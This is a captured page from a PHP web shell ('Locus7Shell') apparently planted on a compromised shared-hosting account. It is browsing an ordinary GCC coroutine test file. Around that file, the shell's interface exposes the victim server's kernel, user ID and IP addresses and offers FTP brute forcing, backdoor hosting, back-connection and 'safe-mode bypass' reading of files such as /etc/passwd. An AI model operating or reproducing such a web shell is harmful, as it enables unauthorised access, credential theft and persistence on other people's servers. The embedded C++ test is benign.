Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/coroutines/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr95736.C (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <iostream>
#include <exception>
#include <cassert>

#if __has_include("coroutine")
#include <coroutine>
namespace stdcoro = std;
#else
#include <experimental/coroutine>
namespace stdcoro = std::experimental;
#endif

struct footable : stdcoro::suspend_always {
    footable() noexcept = default;
    ~footable() { assert(released); }
    footable(const footable&) = delete;

    using coro_handle = stdcoro::coroutine_handle<>;

    void await_suspend(coro_handle awaiter) noexcept {
        std::cout << "suspending to footable " << this << std::endl;
        assert(!handle);
        handle = awaiter;
    }
    void await_resume() noexcept {
        std::cout << "resuming from footable " << this << std::endl;
        assert(handle);
        handle = {};
    }

    void operator()() noexcept {
        std::cout << "operator() on " << this << std::endl;
        assert(handle);
        handle.resume();
        handle = {};
    }

    void release() noexcept { released = true; }
private:
    coro_handle handle;
    bool released = false;
};

struct footask {
    struct promise_type {
        using coro_handle = stdcoro::coroutine_handle<promise_type>;

        stdcoro::suspend_never initial_suspend() noexcept { return {}; }
        stdcoro::suspend_never final_suspend() noexcept { std::cout << "final suspend" << std::endl; return {}; }
        void unhandled_exception() {}
        void return_void() noexcept { std::cout << "coro returns" << std::endl; }

        footask get_return_object() { return footask{ coro_handle::from_promise(*this) }; }
    };

    footask(promise_type::coro_handle handle) : handle(handle) {}
    ~footask() { assert(handle.done()); }

    promise_type::coro_handle handle;
};

struct bar {
    bar() = default;
    bar(const bar&) = delete;

    footable foo{};
    footask task = taskfun();

    footask taskfun() noexcept {
        std::cout << "coro begin" << std::endl;
        co_await foo;
        std::cout << "coro end" << std::endl;
    }
};

int main() {
    bar foobar;
    foobar.foo();
    assert(foobar.task.handle.done());
    std::cout << "releasing" << std::endl;
    foobar.foo.release();
    std::cout << "done" << std::endl;
    return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0071 ]--